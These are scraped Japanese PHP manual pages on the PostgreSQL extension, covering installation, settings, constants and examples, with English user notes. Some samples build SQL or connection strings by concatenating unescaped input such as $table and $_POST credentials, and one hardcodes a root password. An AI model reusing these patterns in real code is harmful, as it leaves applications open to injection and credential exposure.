Loadfile "C:\php\libpq.dll"
LoadModule php5_module "c:/PHP/php5apache2_2.dll"
#END PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL
AddHandler application/x-httpd-php .php
AddHandler application/x-httpd-php-source .phps

(in php.ini default: extension_dir ="c:\PHP\ext" )

if it doesn't work add c:\php (php path) to your windows path (and restart)

tested on php5.2.8 + apache2.2.3
kouber at php dot net 26-Nov-2008 05:01
If you get this error on Windows:

Unable to load dynamic library 'C:/php/ext\\php_pgsql.dll' - The specified module could not be found.

Try downloading the PostgreSQL binaries-no-install archive from http://www.postgresql.org/ftp/binary/v8.3.5/win32/ (replace 8.3.5 with the latest stable version) and copy these DLLs to C:/WINDOWS/system32/ :

comerr32.dll
gssapi32.dll
k5sprt32.dll
krb5_32.dll
libeay32.dll
libiconv2.dll
libintl3.dll
libpq.dll
ssleay32.dll


要件

PostgreSQL サポートを使用するには、PostgreSQL 6.5 以降が必要です。 PostgreSQL 8.0 以降では PostgreSQL モジュールの全ての機能を使用可能 です。PostgreSQL は、マルチバイト文字エンコーディングを含む多くの 文字エンコーディングをサポートしています。現在のバージョン及び PostgreSQLに関するより詳細な情報は、 » http://www.postgresql.org/ と » PostgreSQL Documentation で入手可能です。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

PostgreSQLサポートを利用可能とするには、PHPコンパイル時に --with-pgsql[=DIR] を指定することが必要です。DIR は PostgreSQL のインストールディレクトリで、デフォルトは /usr/local/pgsql です。 共有オブジェクトモジュールが利用可能な場合、php.ini の extension ディレクティブ または dl() 関数によりPostgreSQLモジュール をロードすることが可能です。

User Contributed Notes

sean at cockroachlabs dot com 02-Sep-2016 05:28
Starting with PHP 7, on Ubuntu (i.e., 16+), you can run:

`sudo apt-get install php-pgsql`
Anonymous 29-Aug-2016 09:14
for php 7, "sudo apt install php7.0-pgsql" worked for me
zonetejasmikel at yahoo dot com 07-Apr-2014 07:04
if you get
/pgsql.c:789: error: 'from' undeclared (first use in this function)
etc. compiling in linux its a typo in the define of pgsql.c file

change to this
#if !HAVE_PQESCAPE_CONN
#define PQescapeStringConn(conn, to, from, len, error) PQescapeString(to, from, len)
#endif
samuel+php dot net at dionne-riel dot com 13-Aug-2010 05:31
On PHP 5.3, you may encounter this error.
    Cannot create new link. Too many open links

I did with Archlinux. pgsql.so was active.

To resolve the issue, I had to active pdo.so and pdo_pgsql.so. Hope this helps!
Serjik 28-Aug-2009 07:54
On a Windows server, configured with Apache, adding the following line to httpd.conf to load libpq.dll can save you a lot of time :

LoadFile "C:/Program Files/PostgreSQL/8.4/bin/libpq.dll"

Note that you will have to change your folder accordingly to the installation path and version of PostgreSQL you have installed. Also note that having Apache and PostgreSQL on the same server for production environments is not recommended.

Cheers,
Serjik
Anto Binish Kaspar 08-Jul-2009 04:39
An easy way to install in ubuntu(debain)
Just run " apt-get install php5-pgsql "
Simon 02-Mar-2009 08:59
Windows users should be mindful that since 5.2.6 it seems that the version of php_pgsql.dll supplied is dynamically linked and requires libpq.dll.

The version supplied in 5.2.5 is statically linked and does not have this dependency, if you cannot load the Postgres extension grab php_pgsql.dll from the 5.2.5 distribution


実行時設定

php.ini の設定により動作が変化します。

PostgreSQL設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
pgsql.allow_persistent | "1" | PHP_INI_SYSTEM |
pgsql.max_persistent | "-1" | PHP_INI_SYSTEM |
pgsql.max_links | "-1" | PHP_INI_SYSTEM |
pgsql.auto_reset_persistent | "0" | PHP_INI_SYSTEM | PHP 4.2.0 以降で有効です。
pgsql.ignore_notice | "0" | PHP_INI_ALL | PHP 4.3.0 以降で有効です。
pgsql.log_notice | "0" | PHP_INI_ALL | PHP 4.3.0 以降で有効です。
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

pgsql.allow_persistent bool

持続的な Postgres 接続を可能にするかどうか。

pgsql.max_persistent int

プロセス毎の持続的 Postgres 接続の最大数。

pgsql.max_links int

持続的接続を含むプロセス毎の Postgres 接続の最大数。

pgsql.auto_reset_persistent int

pg_pconnect() で作成した持続的接続の障害を 検出する。少々のオーバーヘッドを要します。

pgsql.ignore_notice int

PostgreSQL バックエンドの通知メッセージを無視するかどうか。

pgsql.log_notice int

PostgreSQL バックエンドの通知メッセージをログに記録するかしないか。 ログに記録するには、PHP ディレクティブ pgsql.ignore_notice を off にする必要があります。

User Contributed Notes

ewl at compressedtime dot com 10-Mar-2014 07:36
Does "per process" mean the entire server process? or each process id (for forked processes)?


リソース型

PostgreSQL モジュールで使用されるリソース型は 2 種類あります。ひとつは データベース接続のリンク ID で、もうひとつはクエリの結果を保持する リソースです。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

PGSQL_LIBPQ_VERSION (string)
短い形式の libpq バージョン情報。数字とドットだけの形式です。
PGSQL_LIBPQ_VERSION_STR (string)
PHP 8.0.0 より前のバージョンでは、 コンパイラの情報も含む 長い形式の libpq バージョン情報を表していました。 PHP 8.0.0 以降は、 この値は PGSQL_LIBPQ_VERSION の値と等しくなりました。 よって、PGSQL_LIBPQ_VERSION_STR を使うことは推奨されなくなっています。
PGSQL_ASSOC (int)
pg_fetch_array() に渡します。 フィールド名と値の連想配列を返します。
PGSQL_NUM (int)
pg_fetch_array() に渡します。 フィールド番号と値の数値添字配列を返します。
PGSQL_BOTH (int)
pg_fetch_array() に渡します。 フィールド値の配列を、数値添字（フィールド番号で）と 連想配列（フィールド名で）の両方で返します。
PGSQL_CONNECT_FORCE_NEW (int)
pg_connect() に渡し、既存の同一接続を無視して 新しい接続を確立させるようにします。
PGSQL_CONNECT_ASYNC (int)
pg_connect() に渡し、非同期接続を確立させます。 PHP 5.6.0 で追加されました。
PGSQL_CONNECTION_AUTH_OK (int)
PHP 5.6.0 以降で利用可能です。
PGSQL_CONNECTION_AWAITING_RESPONSE (int)
PHP 5.6.0 以降で利用可能です。
PGSQL_CONNECTION_BAD (int)
pg_connection_status() から返され、データベースとの 接続が不正な状態になっていることを示します。
PGSQL_CONNECTION_MADE (int)
PHP 5.6.0 以降で利用可能です。
PGSQL_CONNECTION_OK (int)
pg_connection_status() から返され、データベースとの 接続が正常であることを示します。
PGSQL_CONNECTION_SETENV (int)
PHP 5.6.0 以降で利用可能です。
PGSQL_CONNECTION_SSL_STARTUP (int)
PHP 5.6.0 以降で利用可能です。
PGSQL_CONNECTION_STARTED (int)
PHP 5.6.0 以降で利用可能です。
PGSQL_SEEK_SET (int)
pg_lo_seek() に渡します。シーク操作は オブジェクトの先頭から始められます。
PGSQL_SEEK_CUR (int)
pg_lo_seek() に渡します。シーク操作は カレントの位置から始められます。
PGSQL_SEEK_END (int)
pg_lo_seek() に渡します。シーク操作は オブジェクトの最後から始められます。
PGSQL_EMPTY_QUERY (int)
pg_result_status() から返されます。 サーバーに送信された文字列が空でした。
PGSQL_COMMAND_OK (int)
pg_result_status() から返されます。 コマンドは正常に終了し、何もデータを返しませんでした。
PGSQL_TUPLES_OK (int)
pg_result_status() から返されます。 コマンドは正常に終了し、データを返しました （SELECT や SHOW など）。
PGSQL_COPY_OUT (int)
pg_result_status() から返されます。 （サーバーからの）データのコピーが始まりました。
PGSQL_COPY_IN (int)
pg_result_status() から返されます。 （サーバーへの）データのコピーが始まりました。
PGSQL_BAD_RESPONSE (int)
pg_result_status() から返されます。 サーバーからの応答を判別できませんでした。
PGSQL_NONFATAL_ERROR (int)
pg_result_status() から返されます。 致命的ではないエラー（通知や警告など）が発生しました。
PGSQL_FATAL_ERROR (int)
pg_result_status() から返されます。 致命的なエラーが発生しました。
PGSQL_TRANSACTION_IDLE (int)
pg_transaction_status() から返されます。 接続は現在アイドル状態で、トランザクション内ではありません。
PGSQL_TRANSACTION_ACTIVE (int)
pg_transaction_status() から返されます。 接続内でコマンドを実行中です。クエリが接続を通じて送信され、 まだ完了していません。
PGSQL_TRANSACTION_INTRANS (int)
pg_transaction_status() から返されます。 接続は現在アイドル状態で、トランザクションブロック内にあります。
PGSQL_TRANSACTION_INERROR (int)
pg_transaction_status() から返されます。 接続は現在アイドル状態で、トランザクション処理に失敗しています。
PGSQL_TRANSACTION_UNKNOWN (int)
pg_transaction_status() から返されます。 接続が正常ではありません。
PGSQL_DIAG_SEVERITY (int)
pg_result_error_field() に渡します。 深刻度です。その内容は ERROR、 FATAL、あるいは PANIC （エラーメッセージ内）、あるいは WARNING、 NOTICE、DEBUG、 INFO、あるいは LOG （通知メッセージ内）、あるいはこれらの各国語版のうちのどれかです。 常に存在します。
PGSQL_DIAG_SQLSTATE (int)
pg_result_error_field() に渡します。 エラーの SQLSTATE コードです。SQLSTATE コードは発生したエラーの種別を 特定します。これは、データベースエラーに対してフロントエンドの アプリケーションが適切な操作（エラー処理など）をできるようにするために 使用されます。このフィールドはローカライズされていません。また、 常に存在します。
PGSQL_DIAG_MESSAGE_PRIMARY (int)
pg_result_error_field() に渡します。 人間が判読できる最初のエラーメッセージ（たいてい 1 行）です。常に存在します。
PGSQL_DIAG_MESSAGE_DETAIL (int)
pg_result_error_field() に渡します。 オプションの 2 番目のエラーメッセージで、問題に対する詳細な情報を 含みます。複数行にまたがることもあります。
PGSQL_DIAG_MESSAGE_HINT (int)
pg_result_error_field() に渡します。 オプションのメッセージで、問題に対してどのように対応すべきかを指摘 します。エラーの詳細情報と違う点は、発生した事実ではなくアドバイス （時に不適切な場合もある）をするところです。複数行にまたがることも あります。
PGSQL_DIAG_STATEMENT_POSITION (int)
pg_result_error_field() に渡します。 エラーカーソルの位置を、もとのステートメント中の位置として表す 整数値を保持する文字列です。 最初の文字の位置は 1 で、それ以降（バイト数ではなく）文字数で 位置を数えます。
PGSQL_DIAG_INTERNAL_POSITION (int)
pg_result_error_field() に渡します。 PG_DIAG_STATEMENT_POSITION と同じ定義ですが、 こちらはカーソル位置が内部で生成されたコマンドを参照している場合に 使用されます。このフィールドが存在する場合は、常に PG_DIAG_INTERNAL_QUERY フィールドも存在します。
PGSQL_DIAG_INTERNAL_QUERY (int)
pg_result_error_field() に渡します。 失敗した内部生成コマンドのテキストです。例としては、PL/pgSQL 関数で 発行された SQL クエリなどがあてはまります。
PGSQL_DIAG_CONTEXT (int)
pg_result_error_field() に渡します。 エラーが発生した状況を指定します。現在ここに含まれているのは、 アクティブなプロシージャの関数や内部生成クエリのコール履歴です。 これはエントリごとに 1 行のデータとなっており、直近のデータが 先頭にきます。
PGSQL_DIAG_SOURCE_FILE (int)
pg_result_error_field() に渡します。 エラーが報告された箇所の、PostgreSQL ソースコードでのファイル名です。
PGSQL_DIAG_SOURCE_LINE (int)
pg_result_error_field() に渡します。 エラーが報告された箇所の、PostgreSQL ソースコードでの行番号です。
PGSQL_DIAG_SOURCE_FUNCTION (int)
pg_result_error_field() に渡します。 エラーが報告された箇所の、PostgreSQL ソースコードでの関数名です。
PGSQL_DIAG_SCHEMA_NAME (string)
PHP 7.3.0 以降で利用可能です。
PGSQL_DIAG_TABLE_NAME (string)
PHP 7.3.0 以降で利用可能です。
PGSQL_DIAG_COLUMN_NAME (string)
PHP 7.3.0 以降で利用可能です。
PGSQL_DIAG_DATATYPE_NAME (string)
PHP 7.3.0 以降で利用可能です。
PGSQL_DIAG_CONSTRAINT_NAME (string)
PHP 7.3.0 以降で利用可能です。
PGSQL_ERRORS_TERSE (int)
pg_set_error_verbosity() に渡します。 返されるメッセージを指定します。ここには深刻度・短い説明および 発生位置のみを含めます。通常は 1 行に収まるでしょう。
PGSQL_ERRORS_DEFAULT (int)
pg_set_error_verbosity() に渡します。 デフォルトで返されるメッセージで、上の内容に加えて詳細・ ヒントあるいは詳細情報を含めます（複数行にまたがるかもしれません）。
PGSQL_ERRORS_VERBOSE (int)
pg_set_error_verbosity() に渡します。 詳細モードでのメッセージで、有効なフィールドをすべて含めます。
PGSQL_NOTICE_LAST (int)
pg_last_notice() で使用されます。 PHP 7.1.0 以降で使用可能です。
PGSQL_NOTICE_ALL (int)
pg_last_notice() で使用されます。 PHP 7.1.0 以降で使用可能です。
PGSQL_NOTICE_CLEAR (int)
pg_last_notice() で使用されます。 PHP 7.1.0 以降で使用可能です。
PGSQL_STATUS_LONG (int)
pg_result_status() に渡します。 結果として数値が要求されていることを示します。
PGSQL_STATUS_STRING (int)
pg_result_status() に渡します。 結果としてテキストのコマンドタグが要求されていることを示します。
PGSQL_CONV_IGNORE_DEFAULT (int)
pg_convert() に渡します。 変換時に、テーブルのデフォルト値を無視します。
PGSQL_CONV_FORCE_NULL (int)
pg_convert() に渡します。 空文字列に対して、SQL の NULL を使用します。
PGSQL_CONV_IGNORE_NOT_NULL (int)
pg_convert() に渡します。 null を SQL の NOT NULL に変換しないように します。
PGSQL_DML_NO_CONV (int)
pg_insert() や pg_select()、 pg_update()、pg_delete() に渡します。 すべてのパラメータを、そのままの形式で渡します。ユーザーから受け取ったデータを渡す際には、手動でのエスケープが必要になります。 pg_escape_string() を使いましょう。
PGSQL_DML_EXEC (int)
pg_insert() や pg_select()、 pg_update()、pg_delete() に渡します。 これらの関数を使って、クエリを実行します。
PGSQL_DML_ASYNC (int)
pg_insert() や pg_select()、 pg_update()、pg_delete() に渡します。 これらの関数を使って、非同期クエリを実行します。
PGSQL_DML_STRING (int)
pg_insert() や pg_select()、 pg_update()、pg_delete() に渡します。 実行したクエリ文字列を返します。
PGSQL_DML_ESCAPE (int)
pg_insert() や pg_select()、 pg_update()、pg_delete() に渡します。 内部的に pg_convert() を呼ぶ代わりに、すべてのパラメータをエスケープします。 このオプションは、メタデータのルックアップを除外します。 pg_query() や pg_send_query() と同程度の速度になります。 PHP 5.6.0 以降で利用可能です。
PGSQL_POLLING_FAILED (int)
pg_connect_poll() が返す値です。 接続の試行に失敗したことを示します。 PHP 5.6.0 以降で利用可能です。
PGSQL_POLLING_READING (int)
pg_connect_poll() が返す値です。 接続が、PostgreSQL のソケットが読み込み可能になるのを待っていることを示します。 PHP 5.6.0 以降で利用可能です。
PGSQL_POLLING_WRITING (int)
pg_connect_poll() が返す値です。 接続が、PostgreSQL のソケットが書き込み可能になるのを待っていることを示します。 PHP 5.6.0 以降で利用可能です。
PGSQL_POLLING_OK (int)
pg_connect_poll() が返す値です。 接続が、利用可能になったことを示します。 PHP 5.6.0 以降で利用可能です。
PGSQL_POLLING_ACTIVE (int)
pg_connect_poll() が返す値です。 接続が、現在アクティブであることを示します。 PHP 5.6.0 以降で利用可能です。
PGSQL_DIAG_SEVERITY_NONLOCALIZED (int)
深刻度。 このフィールドの内容は(エラーメッセージの場合)ERROR、FATAL、もしくは、PANIC、 (注意喚起メッセージの場合)WARNING、NOTICE、DEBUG、INFO、もしくは、LOGです。 これは、内容が多言語化されないことを除き、PG_DIAG_SEVERITY と同一です。 これはPostgreSQLのバージョン9.6以降で生成された報告にのみ存在します / PHP 7.3.0 以降で利用可能です。

User Contributed Notes

There are no user contributed notes for this page.


例

目次

  • 基本的な使用法
  • 基本的な使い方

User Contributed Notes

There are no user contributed notes for this page.


基本的な使用法

この例では、PostgreSQL への接続・クエリの実行・結果の表示 そして切断の方法を説明します。

例1 PostgreSQL 拡張モジュールの概要

<?php
// 接続し、データベースを選択する
$dbconn = pg_connect("host=localhost dbname=publishing user=www password=foo")
    or die('Could not connect: ' . pg_last_error());

// SQL クエリを実行する
$query = 'SELECT * FROM authors';
$result = pg_query($query) or die('Query failed: ' . pg_last_error());

// 結果を HTML で表示する
echo "<table>\n";
while ($line = pg_fetch_array($result, null, PGSQL_ASSOC)) {
    echo "\t<tr>\n";
    foreach ($line as $col_value) {
        echo "\t\t<td>$col_value</td>\n";
    }
    echo "\t</tr>\n";
}
echo "</table>\n";

// 結果セットを開放する
pg_free_result($result);

// 接続をクローズする
pg_close($dbconn);
?>

User Contributed Notes

There are no user contributed notes for this page.


基本的な使い方

以下の例には、レガシーなMySQL関数に似た、ユーザー定義関数が含まれています。

例1 PostgreSQL のユーザー定義関数の例

<?php
// この関数は、PostgreSQL 接続がデータベースにバインドしているので必要
// This function should be needed, since PostgreSQL connection binds database.
function pg_list_dbs($db)
{
    assert(is_resource($db));
    $query = '
SELECT
 d.datname as "Name",
 u.usename as "Owner",
 pg_encoding_to_char(d.encoding) as "Encoding"
FROM
 pg_database d LEFT JOIN pg_user u ON d.datdba = u.usesysid
ORDER BY 1;
';
    return pg_query($db, $query);
}

// テーブルを一覧にする
function pg_list_tables($db)
{
    assert(is_resource($db));
    $query = "
SELECT
 c.relname as \"Name\",
 CASE c.relkind WHEN 'r' THEN 'table' WHEN 'v' THEN 'view' WHEN 'i' THEN 'index' WHEN 'S' THEN 'sequence' WHEN 's' THEN 'special' END as \"Type\",
  u.usename as \"Owner\"
FROM
 pg_class c LEFT JOIN pg_user u ON c.relowner = u.usesysid
WHERE
 c.relkind IN ('r','v','S','')
 AND c.relname !~ '^pg_'
ORDER BY 1;
";
    return pg_query($db, $query);
}

// pg_meta_data() も参照してください。フィールド定義を配列で返します。
function pg_list_fields($db, $table)
{
    assert(is_resource($db));
    $query = "
SELECT
 a.attname,
 format_type(a.atttypid, a.atttypmod),
 a.attnotnull,
 a.atthasdef,
 a.attnum
FROM
 pg_class c,
 pg_attribute a
WHERE
 c.relname = '".$table."'
 AND a.attnum > 0 AND a.attrelid = c.oid
ORDER BY a.attnum;
";
    return pg_query($db, $query);
}
?>

User Contributed Notes

There are no user contributed notes for this page.


PostgreSQL 関数

注意

注意:

すべての関数がすべての構築環境でサポートされるわけではありません。 サポートされる関数は、使用する libpq（PostgreSQL の C クライアント ライブラリ）のバージョンと libpq のコンパイル方法に依存します。 もし PHP の PostgreSQL 拡張モジュールに足りない関数がある場合、 原因は libpq がその関数をサポートしていないことです。

注意:

ほとんどの PostgreSQL 関数は、オプションの第 1 引数として connection を受け付けます。もしこれを 指定しなかった場合、直近にオープンされた接続を使用します。 そのような接続が存在しなかった場合、関数は false を返します。

注意:

PostgreSQL は、オブジェクトの生成時やクエリの実行時に 識別子（例: テーブル名・カラム名）を自動的に小文字に変換します。 この自動変換を防ぐには、識別子をダブルクォート（""）でエスケープする 必要があります。

注意:

PostgreSQL には、データベースのスキーマ情報（例: データベース内の すべてのテーブルなど）を取得するための特別なコマンドがありません。 その代わりに、PostgreSQL 7.4 以降では information_schema という標準スキーマが存在し、必要な情報が検索しやすい形式で格納されています。 詳しい情報は » PostgreSQL ドキュメンテーション を参照ください。

目次

  • pg_affected_rows — 変更されたレコード(タプル)の数を返す
  • pg_cancel_query — 非同期クエリを取り消す
  • pg_client_encoding — クライアントのエンコーディングを取得する
  • pg_close — PostgreSQL 接続をクローズする
  • pg_connect_poll — 進行中の非同期接続のステータスをポーリングする
  • pg_connect — PostgreSQL 接続をオープンする
  • pg_connection_busy — 接続がビジーかどうか調べる
  • pg_connection_reset — 接続をリセット(再接続)する
  • pg_connection_status — 接続ステータスを取得する
  • pg_consume_input — 接続の入力を読み取る
  • pg_convert — 連想配列の値を、SQL 文として実行可能な形式に変換する
  • pg_copy_from — 配列からテーブルに挿入する
  • pg_copy_to — 配列にテーブルをコピーする
  • pg_dbname — データベース名を取得する
  • pg_delete — レコードを削除する
  • pg_end_copy — PostgreSQL バックエンドと同期する
  • pg_escape_bytea — bytea フィールドに挿入するために文字列をエスケープする
  • pg_escape_identifier — テキスト型フィールドに挿入するために、識別子をエスケープする
  • pg_escape_literal — テキスト型フィールドに挿入するために、リテラルをエスケープする
  • pg_escape_string — クエリに使う文字列をエスケープする
  • pg_execute — 指定したパラメータを用いてプリペアドステートメントを実行するリクエストを 送信し、その結果を待つ
  • pg_fetch_all_columns — 指定したカラムの全ての行を配列として取得する
  • pg_fetch_all — 取得されたすべての行を配列として取得する
  • pg_fetch_array — 行を配列として取得する
  • pg_fetch_assoc — 行を連想配列として取得する
  • pg_fetch_object — 行をオブジェクトとして得る
  • pg_fetch_result — 結果リソースから値を返す
  • pg_fetch_row — 数値添字の配列として行を得る
  • pg_field_is_null — フィールドが SQL の NULL かどうか調べる
  • pg_field_name — フィールドの名前を返す
  • pg_field_num — 指定されたフィールドのフィールド番号を返す
  • pg_field_prtlen — 表示される長さを返す
  • pg_field_size — 指定したフィールドの内部記憶領域におけるサイズを返す
  • pg_field_table — tables フィールドの名前あるいは oid を返す
  • pg_field_type_oid — フィールド番号に対応する型 ID（OID）を返す
  • pg_field_type — フィールド番号に対応する型名を返す
  • pg_flush — 送信を待っているクエリデータをフラッシュする
  • pg_free_result — メモリを開放する
  • pg_get_notify — SQL NOTIFY メッセージを取得する
  • pg_get_pid — バックエンドのプロセス ID を得る
  • pg_get_result — 非同期クエリの結果を取得する
  • pg_host — 接続に関連するホスト名を返す
  • pg_insert — テーブルに配列を挿入する
  • pg_last_error — 特定の接続から直近のエラーメッセージ文字列を取得する
  • pg_last_notice — PostgreSQL サーバーからの直近の通知メッセージを返す
  • pg_last_oid — 直近の行のオブジェクト ID を返す
  • pg_lo_close — ラージオブジェクトをクローズする
  • pg_lo_create — ラージオブジェクトを生成する
  • pg_lo_export — ラージオブジェクトをファイルにエクスポートする
  • pg_lo_import — ファイルからラージオブジェクトをインポートする
  • pg_lo_open — ラージオブジェクトをオープンする
  • pg_lo_read_all — ラージオブジェクト全体を読み込みブラウザに直接送信する
  • pg_lo_read — ラージオブジェクトを読み込む
  • pg_lo_seek — ラージオブジェクトの位置をシークする
  • pg_lo_tell — ラージオブジェクトのカレントのシーク位置を返す
  • pg_lo_truncate — ラージオブジェクトを切り詰める
  • pg_lo_unlink — ラージオブジェクトを削除する
  • pg_lo_write — ラージオブジェクトを書く
  • pg_meta_data — テーブルからメタデータを取得する
  • pg_num_fields — フィールド数を返す
  • pg_num_rows — 行数を返す
  • pg_options — 接続に関連するオプションを取得する
  • pg_parameter_status — サーバーのパラメータ設定を検索する
  • pg_pconnect — 持続的な PostgreSQL 接続をオープンする
  • pg_ping — データベース接続を調べる
  • pg_port — 接続に関連するポート番号を返す
  • pg_prepare — 指定したパラメータでプリペアドステートメントを作成するリクエストを 送信し、その完了を待つ
  • pg_put_line — NULL で終わる文字列を PostgreSQL バックエンドに送信する
  • pg_query_params — SQL コマンドとパラメータを分割してサーバーへ送信し、その結果を待つ
  • pg_query — クエリを実行する
  • pg_result_error_field — エラー報告の各フィールドを返す
  • pg_result_error — 結果に関連するエラーメッセージを取得する
  • pg_result_seek — 結果リソースの内部行オフセットを設定する
  • pg_result_status — クエリ結果のステータスを取得する
  • pg_select — レコードを選択する
  • pg_send_execute — 指定したパラメータでプリペアドステートメントを実行するリクエストを 送信し、その結果を待たない
  • pg_send_prepare — 指定したパラメータでプリペアドステートメントを作成するリクエストを 送信し、その結果を待たない
  • pg_send_query_params — コマンドとパラメータを分割してサーバーに送信し、その結果を待たない
  • pg_send_query — 非同期クエリを送信する
  • pg_set_client_encoding — クライアントのエンコーディングを設定する
  • pg_set_error_verbosity — pg_last_error および pg_result_error が返すメッセージの詳細度を指定する
  • pg_socket — PostgreSQL 接続の下層にある、読み取り専用のソケットのハンドルを取得する
  • pg_trace — PostgreSQL 接続のトレースを有効にする
  • pg_transaction_status — サーバー上で実行中のトランザクションの状態を返す
  • pg_tty — 接続に関する TTY 名を返す
  • pg_unescape_bytea — bytea 型のバイナリをアンエスケープする
  • pg_untrace — PostgreSQL 接続のトレースを無効にする
  • pg_update — テーブルを更新する
  • pg_version — クライアント・プロトコル・サーバーのバージョンを配列で返す

User Contributed Notes

Tony Murray 13-May-2012 09:52
A simple conversion for 1D PostgreSQL array data:

// =====
//Example #1 (An array of IP addresses):
<?php
  $pgsqlArr = '{192.168.1.1,10.1.1.1}';

  preg_match('/^{(.*)}$/', $pgsqlArr, $matches);
  $phpArr = str_getcsv($matches[1]);

  print_r($phpArr);
}
// Output:
// Array
// (
//    [0] => 192.168.1.1
//    [1] => 10.1.1.1
// )
// =====

// =====
// Example #2 (An array of strings including spaces and commas):
<?php
  $pgsqlArr = '{string1,string2,"string,3","string 4"}';

  preg_match('/^{(.*)}$/', $pgsqlArr, $matches);
  $phpArr = str_getcsv($matches[1]);

  print_r($phpArr);
}
// Output:
// Array
// (
//    [0] => string1
//    [1] => string2
//    [2] => string,3
//    [3] => string 4
// )
// =====
16-Nov-2006 04:30
Chris KL: Will parse well {"\\"}? The second " will be treat as escaped while it shoudn't...
20-Oct-2006 10:10
Lots of advice on stored procedures didn't work for me.  This did:

<?php
$response = pg_query( $connection, "BEGIN; DECLARE s CURSOR FOR SELECT get_consumer('harry'); FETCH ALL IN s; END;" );
?>

..where harry looks like this:

CREATE OR REPLACE FUNCTION get_consumer( varchar )
RETURNS refcursor
AS '
DECLARE
  _name          ALIAS FOR $1;
  r              refcursor;
BEGIN
  OPEN r FOR SELECT name FROM consumer
  WHERE
    consumer.name = _name
  ;
  RETURN r;
END
' LANGUAGE 'plpgsql';
Chris KL 10-Nov-2005 05:17
Here is a better array parser for PHP.  It will work with 1-d arrays only.  Unlike the example below it will work in all cases.

    /**
     * Change a db array into a PHP array
     * @param $arr String representing the DB array
     * @return A PHP array
     */
    function phpArray($dbarr) {
        // Take off the first and last characters (the braces)
        $arr = substr($dbarr, 1, strlen($dbarr) - 2);

        // Pick out array entries by carefully parsing.  This is necessary in order
        // to cope with double quotes and commas, etc.
        $elements = array();
        $i = $j = 0;
        $in_quotes = false;
        while ($i < strlen($arr)) {
            // If current char is a double quote and it's not escaped, then
            // enter quoted bit
            $char = substr($arr, $i, 1);
            if ($char == '"' && ($i == 0 || substr($arr, $i - 1, 1) != '\\'))
                $in_quotes = !$in_quotes;
            elseif ($char == ',' && !$in_quotes) {
                // Add text so far to the array
                $elements[] = substr($arr, $j, $i - $j);
                $j = $i + 1;
            }
            $i++;
        }
        // Add final text to the array
        $elements[] = substr($arr, $j);

        // Do one further loop over the elements array to remote double quoting
        // and escaping of double quotes and backslashes
        for ($i = 0; $i < sizeof($elements); $i++) {
            $v = $elements[$i];
            if (strpos($v, '"') === 0) {
                $v = substr($v, 1, strlen($v) - 2);
                $v = str_replace('\\"', '"', $v);
                $v = str_replace('\\\\', '\\', $v);
                $elements[$i] = $v;
            }
        }

        return $elements;
    }
1413 at blargh dot com 11-Oct-2005 05:09
Here is some quick and dirty code to convert Postgres-returned arrays into PHP arrays.  There's probably a billion bugs, but since I'm only dealing with variable-depth-and-length arrays of integers, it works for my needs.

Most notably, any data that might have commas in it won't work right...

<?php
function PGArrayToPHPArray($pgArray)
{
  $ret = array();
  $stack = array(&$ret);
  $pgArray = substr($pgArray, 1, -1);
  $pgElements = explode(",", $pgArray);

  ArrayDump($pgElements);

  foreach($pgElements as $elem)
    {
      if(substr($elem,-1) == "}")
        {
          $elem = substr($elem,0,-1);
          $newSub = array();
          while(substr($elem,0,1) != "{")
            {
              $newSub[] = $elem;
              $elem = array_pop($ret);
            }
          $newSub[] = substr($elem,1);
          $ret[] = array_reverse($newSub);
        }
      else
        $ret[] = $elem;
    }
  return $ret;
}
?>
anis_wn at gawab dot com 05-Jun-2005 09:45
Setting up PostgreSQL for higher security PHP connection.

Case:
We want to connect to PostgreSQL database using username and password supplied by webuser at login time.

Fact (Linux):
Apache (perhaps other servers, too) running the server as (default to) apache user account. So if you connect to PostgreSQL using default user, apache will be assingned for it. If you hard code the user and password in your PHP script, you'll loose security restriction from PostgreSQL.

Solution:
(You are assumed to have enough privilege to do these things, though)
1. Edit pg_hba.conf to have the line like the one below
    host    db_Name    [web_server_ip_address] [ip_address_mask] md5
2. Add to you script the login page that submits username and password.
3. Use those information to login to PostgreSQL like these...
<?
    $conn = "host=$DBHost port=$DBPort dbname=$DBName ".
            "user='{$_POST['dbUsername']}' password='{$_POST['dbPassword']}'";
    $db = pg_connect ($conn);
[your other codes go here...]
?>
4. You must add users in PostgreSQL properly.
5. For your convenience, you can store the username and password to $_SESSION variable.

Good luck.
Anis WN
WillowCatkin at hotmail dot com 21-May-2005 06:43
There is an example:
<?php
/*
 * Define PostgreSQL database server connect parameters.
 */
define('PGHOST','10.0.0.218');
define('PGPORT',5432);
define('PGDATABASE','example');
define('PGUSER', 'root');
define('PGPASSWORD', 'nopass');
define('PGCLIENTENCODING','UNICODE');
define('ERROR_ON_CONNECT_FAILED','Sorry, can not connect the database server now!');

/*
 * Merge connect string and connect db server with default parameters.
 */
pg_pconnect('host=' . PGHOST . ' port=' . PGPORT . ' dbname=' . PGDATABASE . ' user=' . PGUSER . ' password=' . PGPASSWORD);

/*
 * generate sql statements to call db-server-side stored procedure(or function)
 * @parameter    string    $proc        stored procedure name.
 * @parameter    array    $paras        parameters, 2 dimensions array.
 * @return        string    $sql = 'select "proc"(para1,para2,para3);'
 * @example    pg_prepare('userExists',
 *                            array(
 *                                array('userName','chin','string'),
 *                                array('userId','7777','numeric')
 *                            )
 * )
 */
function pg_prepare($proc, $paras)
{
    $sql = 'select "' . $proc . '"(';
    $sql .= $paras[0][2] == 'numeric' ? $paras[0][1] : "'" . str_replace("'","''",$paras[0][1]) . "'";
    $len = count($paras);
    for ($i = 1; $i < $len; $i ++)
    {
        $sql .= ',';
        $sql .= $paras[$i][2] == 'numeric' ? $paras[$i][1] : "'" . str_replace("'","''",$paras[$i][1]) . "'";
    }
    $sql .= ');';
    return $sql;
}
?>
adaml at mimuw edu pl 02-Oct-2004 06:07
Yes, PHP does support stored procedures
You have to add "select" before the name of the
procedure, just like that:

$result = pg_querry($conn, "SELECT procedure_x($aa)");

if a procedure returns a cursor you do something like that:

$result = pg_query($conn, "SELECT procedure_x('rcursor'); FETCH ALL IN rcursor");
74012 dot 2773 at compuserve dot com 01-Jul-2004 09:35
for just a list of tables, this works with postgresql-7.2.1:

function pg_list_tables($db) {
